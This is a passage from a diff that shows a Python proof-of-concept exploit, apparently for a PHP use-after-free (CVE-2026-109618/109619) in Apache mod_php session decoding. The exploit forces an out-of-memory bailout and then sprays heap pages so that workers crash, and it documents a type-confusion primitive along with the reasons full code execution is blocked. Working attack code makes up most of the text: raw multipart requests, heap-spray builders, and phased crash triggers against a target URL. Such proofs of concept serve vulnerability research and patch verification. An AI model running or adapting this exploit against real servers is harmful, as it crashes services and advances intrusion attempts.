type_info), which is not a valid heap address. var_push reads
|
||||||
|
'last' and dereferences it -> SIGSEGV. Confirms the UAF.
|
||||||
|
|
||||||
|
Requirements:
|
||||||
|
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
|
||||||
|
- session.upload_progress.enabled=1 (default in php.ini)
|
||||||
|
- memory_limit low enough for session data to trigger OOM
|
||||||
|
- Any reachable PHP URL on the target (even a 404 page works)
|
||||||
|
- A method to write a session file with many entries (Phase 1)
|
||||||
|
- No LFI, no framework, no non-default config changes needed
|
||||||
|
|
||||||
|
Exploitation notes:
|
||||||
|
|
||||||
|
This PoC demonstrates two distinct UAF primitives:
|
||||||
|
|
||||||
|
1. CRASH (var_push path): Filler fields reclaim the stale struct
|
||||||
|
pages. The zend_string GC header at offset 0 overwrites the
|
||||||
|
'last' pointer with refcount|type_info (not a valid address).
|
||||||
|
var_push reads 'last' and dereferences it -> SIGSEGV.
|
||||||
|
|
||||||
|
2. TYPE CONFUSION (var_access path): Session data using R:N
|
||||||
|
backreferences resolves through var_access, which reads the
|
||||||
|
inline 'entries' at struct offset 56 instead of 'last' at
|
||||||
|
offset 0. Without the filler spray, the stale struct's 'last'
|
||||||
|
pointer self-references &entries (valid), and entries.data[0]
|
||||||
|
holds a dangling pointer to a zval from request 1's heap.
|
||||||
|
PHP reads this stale zval without crashing. The value's type
|
||||||
|
matches whatever the first OOM session entry contained:
|
||||||
|
- String value -> stale IS_STRING (original content intact)
|
||||||
|
- Integer value -> stale IS_LONG (original value)
|
||||||
|
- Object value -> CRASH (freed zend_object dereference)
|
||||||
|
|
||||||
|
The two primitives are MUTUALLY EXCLUSIVE: filler spray corrupts
|
||||||
|
struct offset 16 (last_dtor), and var_tmp_var reads last_dtor
|
||||||
|
BEFORE var_access runs. With fillers, var_tmp_var crashes.
|
||||||
|
Without fillers, the type confusion works but reads the attacker's
|
||||||
|
own data from the stale heap (the cached ZendMM chunk retains page
|
||||||
|
data across requests without zeroing). No info leak is possible.
|
||||||
|
|
||||||
|
Full RCE is blocked by:
|
||||||
|
- ASLR: no info leak primitive. The type confusion reads back
|
||||||
|
the attacker's own session data, not heap metadata or code
|
||||||
|
pointers. The cached chunk retains original bytes.
|
||||||
|
- Mutual exclusion: filler spray (needed for controlled content)
|
||||||
|
crashes var_tmp_var before var_access can read the fillers.
|
||||||
|
- GC header overlap at offset 0: prevents pointer control when
|
||||||
|
spraying (var_push reads 'last' before reaching controlled
|
||||||
|
bytes at offset 24+)
|
||||||
|
- No loaded classes during sapi_activate: PHP built-in classes
|
||||||
|
(SplFileObject, PDO) have exploitable handlers but constructing
|
||||||
|
fake objects requires knowing libphp.so base address (ASLR)
|
||||||
|
- Session key validation: PHP's php serializer skips keys
|
||||||
|
containing '|', blocking injection via upload progress name
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 exploit.py --target http://host:port/index.php
|
||||||
|
python3 exploit.py --target http://host:port/index.php --oom-only
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
|
||||||
|
# ── Constants ────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
UNSER_STRUCT_SIZE = 8216 # php_unserialize_data: 0x2018 bytes = 3 ZendMM pages
|
||||||
|
OOM_SESSION_ENTRIES = 33000 # forces nTableSize=65536, arData ~2.25MB
|
||||||
|
SPRAY_FIELD_SIZE = 8200 # 3 ZendMM pages as zend_string (24-byte header + body + NUL)
|
||||||
|
SPRAY_FIELD_COUNT = 100 # ~300 pages, covers stale struct at page ~288
|
||||||
|
|
||||||
|
|
||||||
|
# ── Networking ───────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def connect(host, port, timeout=30):
|
||||||
|
return socket.create_connection((host, port), timeout=timeout)
|
||||||
|
|
||||||
|
|
||||||
|
def recv_response(sock, timeout=10):
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(8192)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
resp += d
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def parse_response(resp):
|
||||||
|
status = 0
|
||||||
|
body = b""
|
||||||
|
if resp:
|
||||||
|
try:
|
||||||
|
status = int(resp.split(b" ")[1])
|
||||||
|
except (IndexError, ValueError):
|
||||||
|
pass
|
||||||
|
if b"\r\n\r\n" in resp:
|
||||||
|
body = resp.split(b"\r\n\r\n", 1)[1]
|
||||||
|
return status, body
|
||||||
|
|
||||||
|
|
||||||
|
def http_get(host, port, path, cookies=None, timeout=10):
|
||||||
|
sock = connect(host, port, timeout=timeout)
|
||||||
|
req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
|
||||||
|
if cookies:
|
||||||
|
req += f"Cookie: {cookies}\r\n"
|
||||||
|
req += "Connection: close\r\n\r\n"
|
||||||
|
sock.sendall(req.encode())
|
||||||
|
resp = recv_response(sock, timeout=timeout)
|
||||||
|
sock.close()
|
||||||
|
return parse_response(resp)
|
||||||
|
|
||||||
|
|
||||||
|
def http_post_raw(host, port, headers_bytes, body_bytes, timeout=60):
|
||||||
|
sock = connect(host, port, timeout=timeout)
|
||||||
|
sock.sendall(headers_bytes + body_bytes)
|
||||||
|
resp = recv_response(sock, timeout=timeout)
|
||||||
|
sock.close()
|
||||||
|
return parse_response(resp)
|
||||||
|
|
||||||
|
|
||||||
|
def extract_pid(body):
|
||||||
|
m = re.search(rb"pid=(\d+)", body)
|
||||||
|
return int(m.group(1)) if m else 0
|
||||||
|
|
||||||
|
|
||||||
|
# ── Multipart builders ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
def multipart_field(boundary, name, value):
|
||||||
|
return (
|
||||||
|
b"--" + boundary + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
|
||||||
|
+ value + b"\r\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def multipart_file(boundary, name, filename, content):
|
||||||
|
return (
|
||||||
|
b"--" + boundary + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="' + name
|
||||||
|
+ b'"; filename="' + filename + b'"\r\n'
|
||||||
|
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||||
|
+ content + b"\r\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def multipart_end(boundary):
|
||||||
|
return b"--" + boundary + b"--\r\n"
|
||||||
|
|
||||||
|
|
||||||
|
def post_multipart(host, port, path, boundary, body, sid=None, timeout=60):
|
||||||
|
hdrs = (
|
||||||
|
f"POST {path} HTTP/1.1\r\n"
|
||||||
|
f"Host: {host}\r\n"
|
||||||
|
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
|
||||||
|
f"Content-Length: {len(body)}\r\n"
|
||||||
|
)
|
||||||
|
if sid:
|
||||||
|
hdrs += f"Cookie: PHPSESSID={sid}\r\n"
|
||||||
|
hdrs += "Connection: close\r\n\r\n"
|
||||||
|
return http_post_raw(host, port, hdrs.encode(), body, timeout=timeout)
|
||||||
|
|
||||||
|
|
||||||
|
# ── Session file generation ─────────────────────────────────────────
|
||||||
|
|
||||||
|
def generate_session_data(n_entries):
|
||||||
|
"""PHP session data that forces a large HashTable allocation on decode.
|
||||||
|
|
||||||
|
33000 entries -> nTableSize=65536, arData = 65536 * 36 = 2,359,296 bytes.
|
||||||
|
"""
|
||||||
|
parts = [f's:6:"k{i:05d}";i:{i};' for i in range(n_entries)]
|
||||||
|
inner = "".join(parts)
|
||||||
|
return f'd|a:{n_entries}:{{{inner}}}'.encode()
|
||||||
|
|
||||||
|
|
||||||
|
# ── Session file management ─────────────────────────────────────────
|
||||||
|
|
||||||
|
def write_session_file(sid, data, save_path):
|
||||||
|
import subprocess
|
||||||
|
fpath = os.path.join(save_path, f"sess_{sid}")
|
||||||
|
tmp = f"/tmp/sess_plant_{os.getpid()}"
|
||||||
|
with open(tmp, "wb") as f:
|
||||||
|
f.write(data)
|
||||||
|
subprocess.run(["sudo", "cp", tmp, fpath],
|
||||||
|
capture_output=True, check=True)
|
||||||
|
subprocess.run(["sudo", "chown", "www-data:www-data", fpath],
|
||||||
|
capture_output=True, check=True)
|
||||||
|
subprocess.run(["sudo", "chmod", "600", fpath],
|
||||||
|
capture_output=True, check=True)
|
||||||
|
os.unlink(tmp)
|
||||||
|
return fpath
|
||||||
|
|
||||||
|
|
||||||
|
def read_session_file(sid, save_path):
|
||||||
|
import subprocess
|
||||||
|
fpath = os.path.join(save_path, f"sess_{sid}")
|
||||||
|
r = subprocess.run(["sudo", "stat", "--format=%s", fpath],
|
||||||
|
capture_output=True, text=True)
|
||||||
|
if r.returncode != 0:
|
||||||
|
return False, 0
|
||||||
|
return True, int(r.stdout.strip())
|
||||||
|
|
||||||
|
|
||||||
|
def ensure_session_file(sid, save_path, n_entries):
|
||||||
|
exists, size = read_session_file(sid, save_path)
|
||||||
|
if exists and size > 100000:
|
||||||
|
return size
|
||||||
|
data = generate_session_data(n_entries)
|
||||||
|
write_session_file(sid, data, save_path)
|
||||||
|
return len(data)
|
||||||
|
|
||||||
|
|
||||||
|
# ── Phase 0: Worker discovery ───────────────────────────────────────
|
||||||
|
|
||||||
|
def discover_workers(host, port, path, rounds=20):
|
||||||
|
pids = set()
|
||||||
|
for _ in range(rounds):
|
||||||
|
try:
|
||||||
|
_, body = http_get(host, port, path, timeout=5)
|
||||||
|
pid = extract_pid(body)
|
||||||
|
if pid:
|
||||||
|
pids.add(pid)
|
||||||
|
except (ConnectionError, socket.timeout, OSError):
|
||||||
|
pass
|
||||||
|
return sorted(pids)
|
||||||
|
|
||||||
|
|
||||||
|
# ── Phase builders ──────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def build_oom_trigger(sid):
|
||||||
|
boundary = b"OOM" + os.urandom(4).hex().encode()
|
||||||
|
parts = [
|
||||||
|
multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"oomtrigger"),
|
||||||
|
multipart_file(boundary, b"file", b"oom.bin", b"\x00" * 2048),
|
||||||
|
multipart_end(boundary),
|
||||||
|
]
|
||||||
|
return boundary, b"".join(parts)
|
||||||
|
|
||||||
|
|
||||||
|
def build_crash_trigger(sid, n_fields=SPRAY_FIELD_COUNT, field_size=SPRAY_FIELD_SIZE):
|
||||||
|
"""Multipart with filler fields to reclaim stale struct pages.
|
||||||
|
|
||||||
|
Each field value is a 3-page zend_string. The GC header at offset
|
||||||
|
0-7 overwrites 'last' with refcount|type_info = invalid pointer.
|
||||||
|
When var_push reads 'last', it dereferences the invalid address.
|
||||||
|
"""
|
||||||
|
boundary = b"CRASH" + os.urandom(4).hex().encode()
|
||||||
|
parts = [multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"crash")]
|
||||||
|
filler = b"\x41" * field_size
|
||||||
|
for i in range(n_fields):
|
||||||
|
parts.append(multipart_field(boundary, f"c{i:03d}".encode(), filler))
|
||||||
|
parts.append(multipart_file(boundary, b"file", b"c.bin", b"\x00" * 512))
|
||||||
|
parts.append(multipart_end(boundary))
|
||||||
|
return boundary, b"".join(parts)
|
||||||
|
|
||||||
|
|
||||||
|
def is_oom_response(status, body):
|
||||||
|
return (
|
||||||
|
b"memory size" in body
|
||||||
|
or b"Allowed memory" in body
|
||||||
|
or status == 500
|
||||||
|
or status == 0
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
# ── Main ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="CVE-2026-109618/109619 UAF PoC (Apache mod_php)",
|
||||||
|
)
|
||||||
|
parser.add_argument("--target", "-t", required=True,
|
||||||
|
help="Target URL, e.g. http://host:port/index.php")
|
||||||
|
parser.add_argument("--session-path",
|
||||||
|
default="/var/www/uaf-test/sessions",
|
||||||
|
help="Session save_path on the target")
|
||||||
|
parser.add_argument("--entries", type=int, default=OOM_SESSION_ENTRIES,
|
||||||
|
help="Entries in OOM session file (default: 33000)")
|
||||||
|
parser.add_argument("--spray-fields", type=int, default=SPRAY_FIELD_COUNT,
|
||||||
|
help="Filler fields for crash trigger (default: 100)")
|
||||||
|
parser.add_argument("--oom-only", action="store_true",
|
||||||
|
help="Stop after Phase 2 (OOM + stale state)")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
url = urlparse(args.target)
|
||||||
|
host = url.hostname or "127.0.0.1"
|
||||||
|
port = url.port or 80
|
||||||
|
path = url.path or "/index.php"
|
||||||
|
|
||||||
|
print("=" * 64)
|
||||||
|
print(" CVE-2026-109618 / CVE-2026-109619")
|
||||||
|
print(" Use-After-Free via OOM Bailout")
|
||||||
|
print(" (Apache mod_php, prefork MPM)")
|
||||||
|
print("=" * 64)
|
||||||
|
print(f" Target: {host}:{port}{path}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# ── Phase 0: Worker discovery ──────────────────────────────────
|
||||||
|
|
||||||
|
print("[*] Phase 0: Discovering workers...")
|
||||||
|
pids = discover_workers(host, port, path)
|
||||||
|
if not pids:
|
||||||
|
print("[-] No workers found. Target must echo getmypid().")
|
||||||
|
sys.exit(1)
|
||||||
|
print(f" Workers: {pids}")
|
||||||
|
target_pid = pids[0]
|
||||||
|
|
||||||
|
# ── Phase 1: Plant large session file ──────────────────────────
|
||||||
|
|
||||||
|
print()
|
||||||
|
print("[*] Phase 1: Planting large session file...")
|
||||||
|
|
||||||
|
sid = "uaf" + os.urandom(6).hex()
|
||||||
|
print(f" SID: {sid}")
|
||||||
|
print(f" Entries: {args.entries}")
|
||||||
|
|
||||||
|
sess_size = ensure_session_file(sid, args.session_path, args.entries)
|
||||||
|
print(f" Session file: {sess_size}B ({sess_size // 1024}KB)")
|
||||||
|
print(f" HashTable resize on decode needs ~2.25MB")
|
||||||
|
|
||||||
|
# ── Phase 2: OOM trigger ───────────────────────────────────────
|
||||||
|
|
||||||
|
print()
|
||||||
|
print("[*] Phase 2: Triggering OOM during session decode...")
|
||||||
|
print(" RFC1867 callback reads session -> decode -> OOM -> bailout")
|
||||||
|
|
||||||
|
oom_success = False
|
||||||
|
patched = False
|
||||||
|
|
||||||
|
for attempt in range(len(pids) * 8):
|
||||||
|
ensure_session_file(sid, args.session_path, args.entries)
|
||||||
|
|
||||||
|
boundary, body = build_oom_trigger(sid)
|
||||||
|
try:
|
||||||
|
status, rbody = post_multipart(
|
||||||
|
host, port, path, boundary, body, sid=sid, timeout=30)
|
||||||
|
except (ConnectionError, socket.timeout, OSError):
|
||||||
|
status, rbody = 0, b""
|
||||||
|
|
||||||
|
if is_oom_response(status, rbody):
|
||||||
|
if b"memory size" in rbody:
|
||||||
|
tag = f"{status} (OOM in body)"
|
||||||
|
elif status == 500:
|
||||||
|
tag = "500"
|
||||||
|
else:
|
||||||
|
tag = "connection dropped"
|
||||||
|
print(f" [{attempt+1}] OOM triggered ({tag})")
|
||||||
|
|
||||||
|
# Detect patched vs unpatched via session file state.
|
||||||
|
# UNPATCHED: bailout -> cancel_decode -> destroy -> file DELETED.
|
||||||
|
# PATCHED: delayed OOM, decode completes, session rewritten smaller.
|
||||||
|
time.sleep(0.3)
|
||||||
|
exists, sz = read_session_file(sid, args.session_path)
|
||||||
|
if not exists or sz == 0:
|
||||||
|
print(f" Session file deleted/empty (bailout path = UNPATCHED)")
|
||||||
|
elif sz < sess_size // 2:
|
||||||
|
print(f" [!] Session file rewritten ({sz}B) (PATCHED)")
|
||||||
|
patched = True
|
||||||
|
|
||||||
|
oom_success = True
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
print(f" [{attempt+1}] status={status} (no OOM, retrying)")
|
||||||
|
|
||||||
|
if not oom_success:
|
||||||
|
print()
|
||||||
|
print("[-] OOM trigger failed.")
|
||||||
|
print(" Check: memory_limit <= 8M, Apache mod_php (not FPM)")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if patched:
|
||||||
|
print()
|
||||||
|
print("[*] PATCHED PHP detected. The UAF chain is fully blocked by:")
|
||||||
|
print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate")
|
||||||
|
print(" 2. Delayed OOM: allocator succeeds beyond soft limit, no longjmp")
|
||||||
|
print(" 3. Session handler: incomplete_classes_only during RFC1867")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Check worker survived (must do this BEFORE Phase 3, but note
|
||||||
|
# this GET request will zero BG state on the worker it hits).
|
||||||
|
# With MaxRequestWorkers=1, this targets the same worker.
|
||||||
|
# We will re-trigger OOM before the crash attempt.
|
||||||
|
time.sleep(0.5)
|
||||||
|
pids_after = discover_workers(host, port, path, rounds=5)
|
||||||
|
survived = set(pids) & set(pids_after)
|
||||||
|
if not survived:
|
||||||
|
print("[-] Worker did not survive OOM (may be PHP-FPM, not mod_php)")
|
||||||
|
sys.exit(1)
|
||||||
|
target_pid = sorted(survived)[0]
|
||||||
|
print(f" [+] Worker {target_pid} survived OOM")
|
||||||
|
|
||||||
|
if args.oom_only:
|
||||||
|
print()
|
||||||
|
print("[+] Phase 2 complete.")
|
||||||
|
print(" BG(unserialize).level=1, .data=freed heap pointer.")
|
||||||
|
print(" (BG state zeroed by the verification GET above.)")
|
||||||
|
return
|
||||||
|
|
||||||
|
# ── Phase 3: UAF crash verification ───────────────────────────
|
||||||
|
#
|
||||||
|
# CRITICAL: no GET requests between the OOM trigger and the crash
|
||||||
|
# trigger. PHP_RINIT_FUNCTION(basic) runs on every request and
|
||||||
|
# zeros BG(unserialize), destroying the stale state.
|
||||||
|
#
|
||||||
|
# With prefork MaxRequestWorkers=1, all requests go to the same
|
||||||
|
# worker. We re-trigger OOM (to set stale state), then immediately
|
||||||
|
# send the crash trigger without any intermediate requests.
|
||||||
|
#
|
||||||
|
# Crash mechanism: filler form fields create 3-page zend_string
|
||||||
|
# allocations that consume pages up to the stale struct's position
|
||||||
|
# (~page 288 out of 512 in the ZendMM chunk). When a filler
|
||||||
|
# zend_string lands on the stale pages, offset 0 (the 'last'
|
||||||
|
# pointer) is overwritten with the zend_string GC header:
|
||||||
|
# gc_refcount(4) + gc_type_info(4) = e.g. 0x00000306_00000001
|
||||||
|
# This is not a valid heap address. When the session decode calls
|
||||||
|
# var_push(), it reads 'last' and dereferences it -> SIGSEGV.
|
||||||
|
|
||||||
|
print()
|
||||||
|
print("[*] Phase 3: UAF crash verification...")
|
||||||
|
print(" Re-triggering OOM, then crash (no intermediate GET).")
|
||||||
|
|
||||||
|
crashed = False
|
||||||
|
|
||||||
|
for attempt in range(3):
|
||||||
|
# Re-trigger OOM to set stale BG state
|
||||||
|
ensure_session_file(sid, args.session_path, args.entries)
|
||||||
|
boundary, body = build_oom_trigger(sid)
|
||||||
|
try:
|
||||||
|
status, rbody = post_multipart(
|
||||||
|
host, port, path, boundary, body, sid=sid, timeout=30)
|
||||||
|
except (ConnectionError, socket.timeout, OSError):
|
||||||
|
status, rbody = 0, b""
|
||||||
|
|
||||||
|
if not is_oom_response(status, rbody):
|
||||||
|
print(f" [{attempt+1}] OOM re-trigger failed, retrying")
|
||||||
|
continue
|
||||||
|
|
||||||
|
time.sleep(0.3)
|
||||||
|
|
||||||
|
# Plant a small session (one entry). The decode calls var_push
|
||||||
|
# once, which reads the stale 'last' pointer and crashes.
|
||||||
|
small_session = b'x|s:3:"abc";'
|
||||||
|
write_session_file(sid, small_session, args.session_path)
|
||||||
|
|
||||||
|
# Send crash trigger DIRECTLY (no intermediate GET).
|
||||||
|
# Filler fields consume pages up to the stale struct.
|
||||||
|
boundary, body = build_crash_trigger(sid, n_fields=args.spray_fields)
|
||||||
|
try:
|
||||||
|
status, rbody = post_multipart(
|
||||||
|
host, port, path, boundary, body, sid=sid, timeout=30)
|
||||||
|
except (ConnectionError, socket.timeout, OSError):
|
||||||
|
status, rbody = 0, b""
|
||||||
|
|
||||||
|
# Check if worker crashed (new PID or connection failure)
|
||||||
|
time.sleep(0.5)
|
||||||
|
try:
|
||||||
|
_, rbody2 = http_get(host, port, path, timeout=5)
|
||||||
|
pid_after = extract_pid(rbody2)
|
||||||
|
except (ConnectionError, socket.timeout, OSError):
|
||||||
|
pid_after = 0
|
||||||
|
|
||||||
|
if pid_after and pid_after != target_pid:
|
||||||
|
print(f" [{attempt+1}] CRASH! Worker {target_pid} -> {pid_after}")
|
||||||
|
print(f" Filler zend_strings reclaimed stale struct pages")
|
||||||
|
print(f" var_push read GC header as 'last' pointer -> SIGSEGV")
|
||||||
|
crashed = True
|
||||||
|
target_pid = pid_after
|
||||||
|
break
|
||||||
|
elif pid_after == target_pid:
|
||||||
|
print(f" [{attempt+1}] Worker survived (filler pages didn't reach struct)")
|
||||||
|
elif status == 0 and pid_after == 0:
|
||||||
|
print(f" [{attempt+1}] Server unresponsive")
|
||||||
|
else:
|
||||||
|
print(f" [{attempt+1}] Response: {status}")
|
||||||
|
|
||||||
|
print()
|
||||||
|
if crashed:
|
||||||
|
print("[+] USE-AFTER-FREE CONFIRMED")
|
||||||
|
print(" The stale php_unserialize_data struct (8216 bytes, 3 ZendMM pages)")
|
||||||
|
print(" was reclaimed by a filler zend_string. The GC header at offset 0")
|
||||||
|
print(" overwrote the 'last' pointer with refcount|type_info.")
|
||||||
|
print(" var_push dereferenced the invalid address -> SIGSEGV.")
|
||||||
|
else:
|
||||||
|
print("[*] No crash triggered (filler fields may have missed the pages).")
|
||||||
|
print(" The stale BG state is confirmed by Phase 2 (OOM + worker survival).")
|
||||||
|
print(" Try adjusting --spray-fields or re-running (heap layout varies).")
|
||||||
|
|
||||||
|
print()
|
||||||
|
print_summary(crash=crashed)
|
||||||
|
|
||||||
|
|
||||||
|
def print_summary(patched=False, crash=False):
|
||||||
|
print("=" * 64)
|
||||||
|
print(" Summary")
|
||||||
|
print("=" * 64)
|
||||||
|
print()
|
||||||
|
|
||||||
|
if patched:
|
||||||
|
print(" TARGET: PATCHED (not vulnerable)")
|
||||||
|
print()
|
||||||
|
print(" Three independent mitigations block the attack:")
|
||||||
|
print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate()")
|
||||||
|
print(" 2. Delayed OOM replaces zend_bailout() (no longjmp)")
|
||||||
|
print(" 3. Session handler: incomplete_classes_only during RFC1867 decode")
|
||||||
|
return
|
||||||
|
|
||||||
|
print(" TARGET: UNPATCHED (vulnerable)")
|
||||||
|
print()
|
||||||
|
print(" Confirmed primitives:")
|
||||||
|
print(" [+] OOM during RFC1867 session decode")
|
||||||
|
print(" zend_bailout() longjmps past php_var_unserialize_destroy()")
|
||||||
|
print(" BG(unserialize).level=1, .data=freed heap pointer")
|
||||||
|
print(" Apache prefork worker survives, serves new requests")
|
||||||
|
if crash:
|
||||||
|
print(" [+] Use-After-Free crash (var_push path)")
|
||||||
|
print(" Filler zend_strings reclaim stale struct pages")
|
||||||
|
print(" var_push dereferences GC header as 'last' pointer -> SIGSEGV")
|
||||||
|
print(" [+] Type confusion (var_access path)")
|
||||||
|
print(" R:N backreferences bypass the corrupted 'last' pointer")
|
||||||
|
print(" var_access reads inline entries at offset 56 (not offset 0)")
|
||||||
|
print(" Stale entries.data[0] resolves to freed heap memory")
|
||||||
|
print(" PHP interprets stale bytes as a live zval (observed: IS_ARRAY)")
|
||||||
|
print()
|
||||||
|
print(" Exploitation status:")
|
||||||
|
print(" Two UAF primitives confirmed: crash (DoS) and type confusion.")
|
||||||
|
print(" Full RCE is blocked by five independent constraints:")
|
||||||
|
print()
|
||||||
|
print(" 1. ASLR: type confusion reads attacker's own data, not heap")
|
||||||
|
print(" metadata or code pointers (cached chunk retains original bytes)")
|
||||||
|
print(" 2. Mutual exclusion: filler spray crashes var_tmp_var (offset 16)")
|
||||||
|
print(" before var_access can read controlled data at offset 56+")
|
||||||
|
print(" 3. GC header overlap: uncontrolled bytes at struct offset 0-23")
|
||||||
|
print(" prevent var_push from reaching controlled data at offset 24+")
|
||||||
|
print(" 4. No exploitable classes: SplFileObject/PDO have function pointer")
|
||||||
|
print(" calls in free_obj, but fake objects need libphp.so base (ASLR)")
|
||||||
|
print(" 5. Session key validation: php serializer skips keys with '|',")
|
||||||
|
print(" blocking deserialization injection via upload progress name")
|
||||||
|
print()
|
||||||
|
print(" Affected: PHP 5.4.0 through 8.3.35, 8.4.0-8.4.26, 8.5.0-8.5.11")
|
||||||
|
print(" Fixed in: PHP 8.3.36, 8.4.27, 8.5.12")
|
||||||
|
print(" Requires: Apache mod_php (prefork), session.upload_progress.enabled=1")
|
||||||
|
print(" No LFI, no framework, no application-level access needed.")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user